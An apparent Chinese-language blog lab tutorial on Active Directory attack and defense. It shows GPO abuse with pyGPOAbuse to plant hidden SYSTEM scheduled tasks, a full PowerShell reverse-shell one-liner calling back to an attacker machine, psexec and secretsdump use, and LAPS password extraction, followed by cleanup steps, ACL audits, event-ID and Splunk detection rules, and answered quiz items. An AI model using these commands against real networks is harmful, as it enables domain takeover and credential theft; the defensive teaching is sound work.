iT邦幫忙

2025 iThome 鐵人賽

DAY 20
0
Security

資安這條路:AD 攻防實戰演練系列 第 20

AD 攻防實戰演練 Day 20:GPO 濫用與 LAPS 密碼提取

  • 分享至 

  • xImage
  •  

前言

在前幾天的課程中,我們深入學習了 ACL(存取控制清單)的基本概念與攻擊技巧。今天將進入更進階的攻擊場景,探討兩個在企業網域環境中極具威脅性的攻擊向量:

Group Policy Object (GPO) 濫用:當攻擊者取得對 GPO 的寫入權限,就能在整個網域範圍內執行任意程式碼,這是從單一突破點快速擴大影響範圍的關鍵技術。

Local Administrator Password Solution (LAPS) 密碼提取:LAPS 是微軟推薦用來管理本機管理員密碼的解決方案,但若權限設定不當,反而成為攻擊者橫向移動的捷徑。

透過本次實戰演練,你將學會如何識別這些漏洞、執行概念驗證攻擊,以及實施有效的防禦措施。

學習目標

完成今天的實作後,你將能夠:

  1. 識別並利用 GPO 錯誤設定
    • 使用 BloodHound 發現 GPO 攻擊路徑
    • 透過 pyGPOAbuse 注入惡意計劃任務
  2. 提取與利用 LAPS 密碼
    • 偵測網域中是否部署 LAPS
    • 使用 NetExec 批次提取 LAPS 密碼
  3. 實施防禦措施
    • 設定正確的 GPO 權限控制
    • 啟用關鍵事件的稽核日誌
    • 建立 SIEM 偵測規則

快速參考

本日關鍵指令

# GPO 攻擊
python3 pygpoabuse.py DOMAIN/user:pass -gpo-id "GUID" -command "..." -taskname "..."
python3 pygpoabuse.py ... --cleanup -f  # 清理

# LAPS 偵測與提取
ldapsearch -x -H ldap://DC "(name=ms-Mcs-AdmPwd)"  # 偵測 LAPS
nxc ldap DC -u user -p pass --module laps          # 提取密碼

# 密碼使用
nxc smb TARGET -u Administrator -p 'LAPS_PASS' --local-auth

關鍵工具

  • BloodHound:攻擊路徑分析
  • pyGPOAbuse:GPO 注入工具
  • NetExec (nxc):多功能網域測試工具
  • Impacket:Python 腳本集合

實驗環境需求

必備憑證與權限

確保你已經取得以下帳號的存取權限:

# sevenkingdoms.local 域
tywin.lannister:powerkingftw135         # 起始點(低權限使用者)

# north.sevenkingdoms.local 域
samwell.tarly:Heartsbane                # 用於 GPO 攻擊

# essos.local 域
jorah.mormont:H0nnor!                   # 用於讀取 LAPS

工具清單

# 確認 Impacket 工具
which impacket-secretsdump
which impacket-getST
which impacket-wmiexec
which impacket-psexec

# 安裝 Impacket Fork (包含 dacledit, owneredit)
git clone https://github.com/ThePorgs/impacket.git
cd impacket
pip3 install .

# 下載 pyGPOAbuse
git clone https://github.com/Hackndo/pyGPOAbuse.git
cd pyGPOAbuse
pip3 install -r requirements.txt

# 確認 NetExec
which nxc  # NetExec (新版 CME)

第一部分:GPO 濫用攻擊(north.sevenkingdoms.local)

1.1 什麼是 GPO?

Group Policy Object (GPO) 是 Windows 域環境中用於集中管理設定的機制。

GPO 可以控制

  • 軟體安裝/移除
  • 腳本執行(登入/登出/啟動/關機)
  • 排程任務
  • 註冊表設定
  • 安全設定
  • 等等...

GPO 的危險性

如果攻擊者可以修改 GPO
↓
可以在所有套用該 GPO 的電腦上執行任意命令
↓
通常是 SYSTEM 權限!

1.2 使用 BloodHound 尋找可濫用的 GPO

步驟 1:查詢非域管理員對 GPO 有寫入權限的情況

# 查詢非域管理員對 GPO 有寫入權限的情況
MATCH p=(u:User)-[r:GenericWrite|GenericAll|WriteProperty|WriteDacl|Owns]->(g:GPO)
WHERE NOT u.admincount=true
RETURN p

image

在 GOAD 環境中的發現

samwell.tarly@north.sevenkingdoms.local (普通使用者)
    ↓ GenericWrite + WriteDacl
STARKWALLPAPER@NORTH.SEVENKINGDOMS.LOCAL (GPO)

步驟 2:查詢從該使用者到高價值目標的完整攻擊路徑

# 使用最短路徑查詢找出攻擊鏈
MATCH p=shortestPath(
  (u:User {name: "SAMWELL.TARLY@NORTH.SEVENKINGDOMS.LOCAL"})
  -[*1..5]->
  (target)
)
WHERE target.highvalue = true
RETURN p
LIMIT 10

image

完整攻擊路徑分析

samwell.tarly@north.sevenkingdoms.local
    ↓ GenericWrite + WriteDacl
STARKWALLPAPER@NORTH.SEVENKINGDOMS.LOCAL (GPO)
    ↓ 影響範圍
    ├─→ NORTH.SEVENKINGDOMS.LOCAL (Domain)
    │    └─→ 可達的高價值組群:
    │        ├─ DOMAIN ADMINS@NORTH.SEVENKINGDOMS.LOCAL
    │        ├─ DOMAIN CONTROLLERS@NORTH.SEVENKINGDOMS.LOCAL
    │        └─ ADMINISTRATORS@NORTH.SEVENKINGDOMS.LOCAL
    │
    └─→ SEVENKINGDOMS.LOCAL (Domain)
         └─→ ENTERPRISE ADMINS@SEVENKINGDOMS.LOCAL

關鍵發現

  • 該 GPO 應用於整個 NORTH.SEVENKINGDOMS.LOCAL 網域
  • 影響範圍包括 Domain Controllers(網域控制站)
  • 總共可達 26 個高價值目標
  • 可橫跨到 SEVENKINGDOMS.LOCAL 父網域

風險評估

嚴重性:極高 (Critical)

風險項目 說明
受影響範圍 整個 NORTH.SEVENKINGDOMS.LOCAL 網域 + 部分 SEVENKINGDOMS.LOCAL
可達目標 26 個高價值對象,包括 Domain Admins、Domain Controllers、Enterprise Admins
攻擊難度 低 - 只需修改 GPO 設定
影響時效 GPO 刷新時間(預設 90 分鐘內生效)
潛在後果 完全控制網域控制站 → Domain Admin 權限

攻擊路徑總結

  1. samwell.tarly 使用 GenericWrite 修改 STARKWALLPAPER GPO
  2. 在 GPO 中新增惡意腳本(如立即排程任務)
  3. 等待 GPO 應用到 Domain Controllers
  4. 在網域控制站上以 SYSTEM 權限執行惡意程式碼
  5. 獲得 Domain Admin 權限,完全控制網域

1.3 使用 pyGPOAbuse 執行攻擊

安裝 pyGPOAbuse

git clone https://github.com/Hackndo/pyGPOAbuse.git
cd pyGPOAbuse
python3 -m pip install -r requirements.txt

攻擊場景 1:建立本地管理員使用者

步驟 1:執行 pyGPOAbuse 攻擊

# 從 BloodHound 取得 GPO ID
# 範例:7F28A4E9-0C5C-41FD-B284-6D0A94BFE900
python3 pygpoabuse.py \
  north.sevenkingdoms.local/samwell.tarly:'Heartsbane' \
  -gpo-id "7F28A4E9-0C5C-41FD-B284-6D0A94BFE900"

image

輸出

[+] ScheduledTask TASK_6170b455 created!

步驟 2:驗證 GPO 修改是否成功

# 檢查 ScheduledTasks.xml 是否已建立
smbclient //192.168.139.11/SYSVOL -U "north.sevenkingdoms.local/samwell.tarly%Heartsbane" \
  -c "ls north.sevenkingdoms.local/Policies/{7F28A4E9-0C5C-41FD-B284-6D0A94BFE900}/Machine/Preferences/ScheduledTasks/"

image

預期輸出

  .                                   D        0  Fri Oct  3 08:33:47 2025
  ..                                  D        0  Fri Oct  3 08:33:47 2025
  ScheduledTasks.xml                  A     1854  Fri Oct  3 08:33:47 2025

步驟 3:下載並檢查任務內容

# 下載 ScheduledTasks.xml
smbclient //192.168.139.11/SYSVOL -U "north.sevenkingdoms.local/samwell.tarly%Heartsbane" \
  -c "get north.sevenkingdoms.local/Policies/{7F28A4E9-0C5C-41FD-B284-6D0A94BFE900}/Machine/Preferences/ScheduledTasks/ScheduledTasks.xml ScheduledTasks.xml"

# 查看內容
cat ScheduledTasks.xml

image

關鍵內容分析

<Task version="1.3">
    <RegistrationInfo>
        <Description>MSBuild build and release task</Description>  <!-- 偽裝成合法任務 -->
    </RegistrationInfo>
    <Principals>
        <Principal id="Author">
            <UserId>NT AUTHORITY\System</UserId>                   <!-- SYSTEM 權限執行 -->
            <RunLevel>HighestAvailable</RunLevel>
        </Principal>
    </Principals>
    <Settings>
        <Enabled>true</Enabled>                                    <!-- 已啟用 -->
        <Hidden>true</Hidden>                                      <!-- 隱藏任務 -->
    </Settings>
    <Actions Context="Author">
        <Exec>
            <Command>c:\windows\system32\cmd.exe</Command>
            <Arguments>/c "net user john H4x00r123.. /add &amp;&amp; net localgroup administrators john /add"</Arguments>
        </Exec>
    </Actions>
    <Triggers>
        <TimeTrigger>
            <StartBoundary>%LocalTimeXmlEx%</StartBoundary>        <!-- 立即執行 -->
        </TimeTrigger>
    </Triggers>
</Task>

攻擊機制

1. pyGPOAbuse 修改 GPO 的 ScheduledTasks.xml 設定檔案
2. 新增一個立即排程任務(ImmediateTaskV2)
3. 任務內容:
   - 建立使用者:john
   - 密碼:H4x00r123..
   - 新增到本地管理員組
4. 執行權限:NT AUTHORITY\System(最高權限)
5. 執行時機:
   - Computer GPO: 電腦啟動時 / gpupdate /force
   - 預設 GPO 更新週期:90-120 分鐘
6. 隱蔽性:
   - 任務名稱:TASK_6170b455(隨機生成)
   - 任務描述:MSBuild build and release task(偽裝)
   - 隱藏屬性:Hidden=true

步驟 4:等待 GPO 應用並驗證

在目標電腦上(如果有存取權限)觸發 GPO 更新:

# 強制 GPO 更新
gpupdate /force

# 等待幾秒後檢查新使用者
net user

預期輸出

User accounts for \\CASTELBLACK

-------------------------------------------------------------------------------
Administrator            Guest                    john
krbtgt                   ...

步驟 5:測試新建立的使用者

# 使用 CrackMapExec 測試 john 帳戶
crackmapexec smb castelblack.north.sevenkingdoms.local \
  -u john \
  -p 'H4x00r123..' \
  --local-auth

image

成功輸出

SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:CASTELBLACK) (signing:False) (SMBv1:False)
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      [+] CASTELBLACK\john:H4x00r123.. (Pwn3d!)

步驟 6:使用新權限進行橫向移動

# 測試多台機器
crackmapexec smb 192.168.139.0/24 \
  -u john \
  -p 'H4x00r123..' \
  --local-auth

image

主機 IP 狀態 權限等級 說明
CASTELBLACK 192.168.139.22 [+] (Pwn3d!) 管理員 完全控制!
BRAAVOS 192.168.139.23 [+] 普通使用者 可登入但權限受限
# 取得 Shell
impacket-psexec john:'H4x00r123..'@192.168.139.22

image

成功取得 Shell 的輸出

[*] Requesting shares on 192.168.139.22.....
[*] Found writable share ADMIN$
[*] Uploading file jKHPGQWr.exe
[*] Opening SVCManager on 192.168.139.22.....
[*] Creating service vHDf on 192.168.139.22.....
[*] Starting service vHDf.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1697]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
# 提取本地憑證
impacket-secretsdump john:'H4x00r123..'@192.168.139.22

風險評估

項目 詳情
受影響範圍 所有套用 STARKWALLPAPER GPO 的電腦(包括 Domain Controllers)
新增帳戶 john (密碼: H4x00r123..)
權限等級 本地管理員 → 可能提升至 Domain Admin
偵測難度 中等(會產生 Event ID 4720 和 4732)
持久性 高(除非 GPO 被還原,否則會在所有新加入的電腦上執行)

攻擊場景 2:取得 PowerShell 反向 Shell

# 在 Kali 上啟動監聽
nc -lvnp 4444

使用 Metasploit

msfconsole -q
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 192.168.139.136
set LPORT 4444
exploit -j

image

執行 pyGPOAbuse(在新終端)

python3 pygpoabuse.py \
  north.sevenkingdoms.local/samwell.tarly:'Heartsbane' \
  -gpo-id "7F28A4E9-0C5C-41FD-B284-6D0A94BFE900" \
  -powershell \
  -command "\$c = New-Object System.Net.Sockets.TCPClient('192.168.139.136',4444);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){    \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);    \$sb = (iex \$d 2>&1 | Out-String );    \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> ');    \$s.Write(\$sb,0,\$sb.Length);    \$s.Flush()};\$c.Close()" \
  -taskname "WindowsUpdate" \
  -description "Security Update Installation"

image

smbclient //winterfell.north.sevenkingdoms.local/SYSVOL \
  -U north.sevenkingdoms.local/samwell.tarly%'Heartsbane'

smb: \> cd north.sevenkingdoms.local/Policies/{7F28A4E9-0C5C-41FD-B284-6D0A94BFE900}/Machine/Preferences/ScheduledTasks
smb: \> dir

# 應該看到 ScheduledTasks.xml 文件
smb: \> get ScheduledTasks.xml
smb: \> exit

# 在 Kali 上查看文件內容
cat ScheduledTasks.xml

image

幾分鐘後(或在目標機器執行 gpupdate /force

nc 監聽器收到連接

listening on [any] 4444 ...
connect to [192.168.139.136] from (UNKNOWN) [192.168.139.22] 49823

ps> whoami
nt authority\system

ps> hostname
CASTELBLACK

image

成功!取得 SYSTEM 權限的反向 Shell!

1.4 重要警告與清理

極度危險

pyGPOAbuse 會修改正式環境的 GPO!

風險:
1. 影響所有套用該 GPO 的電腦
2. 可能導致業務中斷
3. 修改不會自動還原
4. 可能破壞現有設定

絕對不要在生產環境使用,除非:
- 客戶明確授權
- 已經備份 GPO
- 有詳細的清理計劃

清理步驟

方法 1:使用 pyGPOAbuse 自動清理(推薦)

python3 pygpoabuse.py \
  north.sevenkingdoms.local/samwell.tarly:'Heartsbane' \
  -gpo-id "7F28A4E9-0C5C-41FD-B284-6D0A94BFE900" \
  -taskname "TASK_6170b455" \
  --cleanup \
  -f \
  -v

image

方法 2:手動刪除 SYSVOL 文件

smbclient //winterfell.north.sevenkingdoms.local/SYSVOL \
  -U north.sevenkingdoms.local/samwell.tarly%'Heartsbane'

# 進入 SMB shell 後執行:
smb: \> cd north.sevenkingdoms.local/Policies/{7F28A4E9-0C5C-41FD-B284-6D0A94BFE900}/Machine/Preferences/ScheduledTasks
smb: \> del ScheduledTasks.xml
smb: \> dir
smb: \> exit

image

方法 3:在目標機器上手動刪除計劃任務

# 連接到目標機器(CASTELBLACK)
impacket-psexec john:'H4x00r123..'@192.168.139.22

# 在 Windows Shell 中執行:
C:\> schtasks /query | findstr /I "WindowsUpdate"

# 刪除任務
C:\> schtasks /delete /tn "WindowsUpdate" /f

# 強制更新 GPO 以確保移除
C:\> gpupdate /force

C:\> exit

在目標機器上刪除使用者(需要管理員權限)

net user john /delete

手動清理步驟(進階)

# 在域控制器上執行

# 1. 開啟 Group Policy Management
gpmc.msc

# 2. 找到被修改的 GPO
# 3. 右鍵 → Settings → Computer Configuration → Preferences → Control Panel Settings → Scheduled Tasks
# 4. 刪除 pyGPOAbuse 建立的排程任務

# 5. 或直接刪除 GPO 修改的檔案
# SYSVOL 路徑:\\DC\SYSVOL\domain\Policies\{GPO-ID}\Machine\Preferences\ScheduledTasks\

# 6. 強制 GPO 更新
gpupdate /force /target:computer

第二部分:LAPS 密碼提取(essos.local)

2.1 什麼是 LAPS?

Local Administrator Password Solution (LAPS) 是 Microsoft 提供的工具,用於:

  • 自動管理加入域的電腦的本地 Administrator 密碼
  • 定期輪換密碼(預設 30 天)
  • 將密碼儲存在 AD 的電腦物件屬性中

LAPS 儲存的屬性

  • ms-Mcs-AdmPwd:明文密碼(未加密儲存在 AD 中)
  • ms-Mcs-AdmPwdExpirationTime:密碼過期時間(FILETIME 格式)

預設權限

  • Domain Admins 和 Enterprise Admins 可讀取所有 LAPS 密碼
  • 可透過 ACL 委派特定使用者/群組讀取權限
  • 電腦物件本身有 SELF 寫入權限(用於更新密碼)

2.2 偵測 LAPS 部署

檢查 AD Schema 是否包含 LAPS 屬性

ldapsearch -x -H ldap://192.168.139.12 \
  -D "jorah.mormont@essos.local" \
  -w 'H0nnor!' \
  -b "CN=Schema,CN=Configuration,DC=essos,DC=local" \
  "(name=ms-Mcs-AdmPwd)"

image

成功輸出

# ms-Mcs-AdmPwd, Schema, Configuration, essos.local
dn: CN=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=essos,DC=local
adminDescription: LAPS Password Attribute
lDAPDisplayName: ms-Mcs-AdmPwd

如果查詢回傳結果,表示此域已部署 LAPS。

2.3 使用 NetExec 讀取 LAPS 密碼

nxc ldap 192.168.139.12 \
  -d essos.local \
  -u jorah.mormont \
  -p 'H0nnor!' \
  --module laps

image

輸出範例

LAPS  192.168.139.12  389  MEEREEN  [*] Getting LAPS Passwords
LAPS  192.168.139.12  389  MEEREEN  Computer:BRAAVOS$ User:  Password:%bqi]1Or0[qW7f

欄位說明

  • Computer: 電腦名稱($ 表示電腦帳戶)
  • User: 通常為空(預設為本地 Administrator)
  • Password: LAPS 管理的密碼

2.4 手動查詢 LAPS 密碼

列出所有有 LAPS 密碼的電腦

ldapsearch -x -H ldap://192.168.139.12 \
  -D "jorah.mormont@essos.local" \
  -w 'H0nnor!' \
  -b "DC=essos,DC=local" \
  "(&(objectClass=computer)(ms-Mcs-AdmPwd=*))" \
  cn dNSHostName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime

image

查詢特定電腦

ldapsearch -x -H ldap://192.168.139.12 \
  -D "jorah.mormont@essos.local" \
  -w 'H0nnor!' \
  -b "DC=essos,DC=local" \
  "(cn=BRAAVOS)" \
  ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime

image

輸出

cn: BRAAVOS
ms-Mcs-AdmPwd: %bqi]1Or0[qW7f
ms-Mcs-AdmPwdExpirationTime: 134043286027252271

2.5 驗證密碼有效期

LAPS 使用 Windows FILETIME 格式儲存過期時間,需要轉換:

python3 << 'EOF'
import datetime

filetime = 134043286027252271
timestamp = (filetime - 116444736000000000) / 10000000
dt = datetime.datetime.utcfromtimestamp(timestamp)
now = datetime.datetime.utcnow()

print(f"密碼過期時間 (UTC): {dt}")
print(f"目前時間 (UTC): {now}")
print(f"狀態: {'✅ 有效' if dt > now else '❌ 已過期'}")
print(f"剩餘天數: {(dt - now).days} 天")
EOF

image

2.6 使用 LAPS 密碼進行認證

基本認證測試

# 使用本地認證
nxc smb 192.168.139.23 \
  -u Administrator \
  -p '%bqi]1Or0[qW7f' \
  --local-auth

預期成功輸出

SMB  192.168.139.23  445  BRAAVOS  [+] BRAAVOS\Administrator:%bqi]1Or0[qW7f (Pwn3d!)

2.7 實戰故障排除案例

在實際測試中,我們遇到了 LAPS 密碼無法使用的情況,這是非常好的學習機會:

問題現象

nxc smb 192.168.139.23 -u Administrator -p '%bqi]1Or0[qW7f' --local-auth
SMB  192.168.139.23  445  BRAAVOS  [-] BRAAVOS\Administrator:%bqi]1Or0[qW7f STATUS_LOGON_FAILURE

診斷過程

  1. 確認密碼有效期(密碼未過期 ✓)
  2. 枚舉本機使用者(發現 vagrant 帳戶)
nxc smb 192.168.139.23 \
  -u jorah.mormont \
  -p 'H0nnor!' \
  -d essos.local \
  --rid-brute

image

輸出

SMB  192.168.139.23  445  BRAAVOS  500: BRAAVOS\Administrator (SidTypeUser)
SMB  192.168.139.23  445  BRAAVOS  1000: BRAAVOS\vagrant (SidTypeUser)
  1. 檢查 LAPS GPO 連結(LAPS GPO 正確套用 ✓)
ldapsearch -x -H ldap://192.168.139.12 \
  -D "jorah.mormont@essos.local" \
  -w 'H0nnor!' \
  -b "OU=Laps,DC=essos,DC=local" \
  gPLink

輸出

dn: OU=Laps,DC=essos,DC=local
gPLink: [LDAP://cn={A4C7F480-D5A1-448B-BFD7-B641928046C3},cn=policies,cn=system,DC=essos,DC=local;2]
  1. 測試不同帳戶名稱(Administrator、vagrant 皆失敗 ✗)
# 測試不同帳戶
for user in Administrator admin vagrant localadmin; do
  echo "Testing: $user"
  nxc smb 192.168.139.23 -u $user -p '%bqi]1Or0[qW7f' --local-auth
done

可能原因分析

原因 機率 驗證方法
LAPS 管理的不是 Administrator 檢查 GPO Registry.pol 設定
AD 與主機密碼不同步 強制主機執行 gpupdate
主機未正確套用 LAPS GPO 檢查主機的 LAPS 服務狀態
特殊字元轉義問題 使用不同引號方式測試

關鍵學習點

  • LAPS 密碼提取成功 ≠ 密碼可用
  • 在測試環境中,設定不同步是常見問題
  • 防禦者應定期驗證 LAPS 的實際運作狀態
  • 可能需要檢查 GPO 中的 AdmPwdEnabled 設定

進一步診斷

# 查看 LAPS GPO 設定
ldapsearch -x -H ldap://192.168.139.12 \
  -D "jorah.mormont@essos.local" \
  -w 'H0nnor!' \
  -b "CN={A4C7F480-D5A1-448B-BFD7-B641928046C3},CN=Policies,CN=System,DC=essos,DC=local" \
  gPCFileSysPath displayName versionNumber

2.8 使用 PowerView 讀取 LAPS(Windows 環境)

在域內的 Windows 機器上:

Import-Module .\PowerView.ps1

# 查詢所有有 LAPS 密碼的電腦
Get-DomainComputer | 
  Where-Object { $_."ms-Mcs-AdmPwd" -ne $null } | 
  Select-Object cn, ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

# 查詢特定電腦
Get-DomainComputer -Identity "BRAAVOS" -Properties ms-Mcs-AdmPwd

2.9 枚舉 LAPS 讀取權限

查詢誰有權限讀取 LAPS 密碼

# 查詢電腦物件的 ACL
ldapsearch -x -H ldap://192.168.139.12 \
  -D "jorah.mormont@essos.local" \
  -w 'H0nnor!' \
  -b "CN=BRAAVOS,OU=Laps,DC=essos,DC=local" \
  nTSecurityDescriptor

使用 PowerView:

# 查詢 ms-Mcs-AdmPwd 屬性的 ACE
Get-DomainObjectAcl -Identity "BRAAVOS" | 
  Where-Object { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" } |
  Select-Object SecurityIdentifier, ActiveDirectoryRights

2.10 安全建議與常見錯誤設定

常見的 LAPS 設定錯誤

  1. 過度授權
    • 給予過多使用者/群組讀取權限
    • 使用域範圍權限而非 OU 範圍
  2. 缺乏監控
    • 未記錄 LAPS 密碼讀取事件
    • 未定期審查 ACL
  3. 密碼策略不足
    • 使用預設的 14 字元長度(建議 20+)
    • 輪換週期過長

防禦措施

  • 使用最小權限原則授予 LAPS 讀取權限
  • 啟用 LAPS 審計日誌(Event ID 4662)
  • 定期檢查誰有權限讀取 LAPS
  • 考慮使用 Windows LAPS(較新版本,支援 Azure AD)

第三部分:防禦與偵測

3.1 防禦措施

最小權限原則

防禦措施 實施方法 效果 難度
定期 ACL 審計 使用 PowerView/BloodHound 審查異常 ACL 極高 中等
限制 WriteDacl/WriteOwner 移除非必要的高危險權限 極高 簡單
保護高價值帳號 加入 Protected Users 群組 簡單
啟用 AdminSDHolder 確保受保護群組的 ACL 被正確管理 簡單
限制 GPO 修改權限 只有 Domain Admins 可修改 GPO 極高 簡單
強化 LAPS ACL 限制誰可以讀取 LAPS 密碼 簡單

定期審計 ACL

# 尋找對使用者有 GenericAll/GenericWrite 的非管理員
Get-DomainObjectAcl -ResolveGUIDs | 
  Where-Object {
    $_.ActiveDirectoryRights -match "GenericAll|GenericWrite" -and
    $_.SecurityIdentifier -match "S-1-5-21-"
  } | 
  Select-Object ObjectDN, SecurityIdentifier, ActiveDirectoryRights

# 尋找對 GPO 有寫入權限的非管理員
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=domain,DC=local" |
  Where-Object {
    $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|GenericWrite|GenericAll"
  }

使用 BloodHound 識別攻擊路徑

# 查詢到 Domain Admins 的最短路徑
MATCH p=shortestPath((u:User {admincount:false})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p

# 查詢利用 ACL 的路徑
MATCH p=(u:User)-[r:GenericAll|GenericWrite|WriteOwner|WriteDacl|ForceChangePassword*1..5]->(n)
WHERE u.admincount=false AND NOT u.name CONTAINS "VAGRANT"
RETURN p

限制 GPO 修改權限

# 審查 GPO 的 ACL
Get-GPO -All | ForEach-Object {
    $gpo = $_
    Get-GPPermission -Guid $gpo.Id -All | 
    Where-Object { 
        $_.Permission -match "GpoEdit" -and 
        $_.Trustee.Name -notmatch "Domain Admins|Enterprise Admins"
    } |
    Select-Object @{N="GPO";E={$gpo.DisplayName}}, Trustee, Permission
}

3.2 偵測與監控

關鍵事件 ID

Event ID 描述 監控重點
4662 物件存取操作 WriteProperty, WriteDacl 操作
4670 物件權限變更 ACL 被修改
4724 重置密碼嘗試 ForceChangePassword 攻擊
4738 使用者帳號變更 msDS-KeyCredentialLink 修改(Shadow Credentials)
5136 目錄服務物件修改 GPO 修改、群組成員變更

監控 GPO 修改

# Event ID 5136 - 目錄服務物件修改
# 監控:CN=Policies,CN=System 下的變更

index=windows EventCode=5136
| search ObjectDN="CN=Policies,CN=System*"
| table _time SubjectUserName ObjectDN AttributeName AttributeValue

監控 LAPS 密碼存取

# Event ID 4662 - 物件存取操作
index=windows EventCode=4662 Properties="*ms-Mcs-AdmPwd*"
| stats count by SubjectUserName, ObjectName
| where count > 10  # 批次提取密碼

3.3 自動化稽核腳本

GPO 權限稽核腳本

# Get-DangerousGPOPermissions.ps1
Get-GPO -All | ForEach-Object {
    $gpo = $_
    Get-GPPermission -Guid $gpo.Id -All | 
    Where-Object { 
        $_.Permission -match "GpoEdit|FullControl" -and
        $_.Trustee.Name -notmatch "Domain Admins|Enterprise Admins|SYSTEM"
    } | Select-Object @{N="GPO";E={$gpo.DisplayName}}, 
                       @{N="Trustee";E={$_.Trustee.Name}}, 
                       Permission, Inherited
}

LAPS 權限稽核腳本

# Get-LAPSPermissions.ps1
$computers = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd
foreach ($computer in $computers) {
    $acl = Get-Acl "AD:$($computer.DistinguishedName)"
    $acl.Access | Where-Object {
        $_.ObjectType -eq "ms-Mcs-AdmPwd" -and
        $_.IdentityReference -notmatch "Domain Admins|SYSTEM"
    } | Select-Object @{N="Computer";E={$computer.Name}},
                       IdentityReference, AccessControlType
}

SIEM 偵測規則(Splunk)

# 偵測 GPO 修改
index=windows EventCode=5136 ObjectClass="groupPolicyContainer"
| stats count by _time, SubjectUserName, ObjectDN
| where count > 5  # 短時間內大量修改

# 偵測 LAPS 密碼存取
index=windows EventCode=4662 Properties="*ms-Mcs-AdmPwd*"
| stats count by SubjectUserName, ObjectName
| where count > 10  # 批次提取密碼

3.4 使用 PingCastle 進行安全評估

# PingCastle 是 Windows 工具,可以快速評估 AD 安全態勢
# 下載:https://www.pingcastle.com/

# 在域內 Windows 機器執行
PingCastle.exe --healthcheck --server dc.domain.local

# 報告會包含:
# - 危險的 ACL 設定
# - AdminSDHolder 問題
# - GPO 權限問題
# - LAPS 設定問題

第四部分:實戰測驗

測驗 1:AdminSDHolder 保護機制

問題:為什麼初始版本的 GOAD 將 ACL 設定在 Domain Admins 群組上會導致攻擊演練失效?

A) Domain Admins 群組無法被授予額外的 ACL 權限
B) AdminSDHolder 機制每 60 分鐘會重置受保護群組的 ACL
C) Domain Admins 群組的 ACL 是唯讀的,無法修改
D) BloodHound 無法偵測 Domain Admins 的 ACL 關係

正確答案:B

精簡解析
AdminSDHolder 是 AD 用來保護高權限群組的機制。SDProp 執行緒每 60 分鐘會從 AdminSDHolder 物件複製 ACL 到受保護群組(包括 Domain Admins),任何手動新增的 ACL 會被移除。因此攻擊者即使成功設定 ACL,也會在一小時內失效。

詳細說明請參閱附錄 A:AdminSDHolder 深度解析。

測驗 2:GenericWrite vs WriteDacl

問題:GenericWrite 和 WriteDacl 這兩種權限的主要區別是什麼?

A) GenericWrite 只能修改物件屬性,WriteDacl 可以修改 ACL
B) GenericWrite 可以執行所有寫入操作包括修改 ACL,WriteDacl 只能修改 ACL
C) WriteDacl 的權限範圍比 GenericWrite 更大
D) 兩者沒有區別,只是名稱不同

正確答案:A

精簡解析
GenericWrite 允許修改大部分物件屬性(如 msDS-KeyCredentialLink、SPN 等),但不能修改 ACL。WriteDacl 則專門用於修改物件的 DACL(訪問控制清單),可以給自己授予任意權限。從攻擊角度看,WriteDacl 更強大,因為它可以授予自己 GenericWrite 及其他所有權限。

詳細說明請參閱附錄 B:權限類型詳解。

測驗 3:Shadow Credentials on Computer

問題:在攻擊鏈的最後,我們對域控制器 kingslanding$ 執行 Shadow Credentials 攻擊。為什麼取得 DC 的機器帳號(kingslanding$)就等於控制了整個域?

A) 機器帳號預設是 Domain Admins 群組成員
B) DC 的機器帳號可以執行 S4U2Self 冒充任意使用者,包括 Administrator
C) DC 的機器帳號有權限修改所有使用者的密碼
D) 機器帳號擁有域的 krbtgt 密鑰

正確答案:B

精簡解析
域控制器的機器帳號具有 TrustedToAuthForDelegation 屬性,允許執行 S4U2Self(Service for User to Self)。這個機制讓 DC 可以代表任意使用者取得服務票證,而不需要該使用者的密碼或憑證。攻擊者利用此特性可以冒充 Administrator,獲得完全控制權。這是協定轉換(Protocol Transition)的設計,但也成為攻擊向量。

詳細說明請參閱附錄 C:S4U2Self 機制詳解。

測驗 4:GPO 濫用攻擊的風險

問題:pyGPOAbuse 工具在利用 GPO 錯誤設定時,為什麼被認為是極度危險的,不應在生產環境使用?

A) pyGPOAbuse 會刪除原有的 GPO,導致所有設定丟失
B) pyGPOAbuse 會修改 GPO 但不會自動還原,影響所有套用該 GPO 的電腦
C) pyGPOAbuse 只能在 Linux 上執行,無法用於 Windows 域
D) pyGPOAbuse 會觸發域控制器的安全警報,導致攻擊被發現

正確答案:B

精簡解析
pyGPOAbuse 直接修改 SYSVOL 中的 GPO 設定檔案(如 ScheduledTasks.xml),這些修改是永久的,不會自動還原。一旦 GPO 被修改,所有套用該 GPO 的電腦(可能數百台)都會執行惡意程式碼,且會持續影響新加入域的電腦。除非手動清理,否則這些修改會一直存在,這就是為什麼它極度危險。

測驗 5:LAPS 的安全考量

問題:LAPS(Local Administrator Password Solution)將本地管理員密碼以明文儲存在 Active Directory 的電腦物件屬性中。這看起來很不安全,為什麼 Microsoft 還是推薦使用 LAPS?

A) LAPS 的密碼儲存在加密的 AD 屬性中,實際上不是明文
B) 雖然是明文儲存,但 ACL 控制誰可以讀取,且每台電腦密碼不同並定期輪換
C) LAPS 密碼只能由域控制器讀取,其他使用者無法存取
D) LAPS 使用不可逆的雜湊儲存密碼,類似 NT Hash

正確答案:B

精簡解析
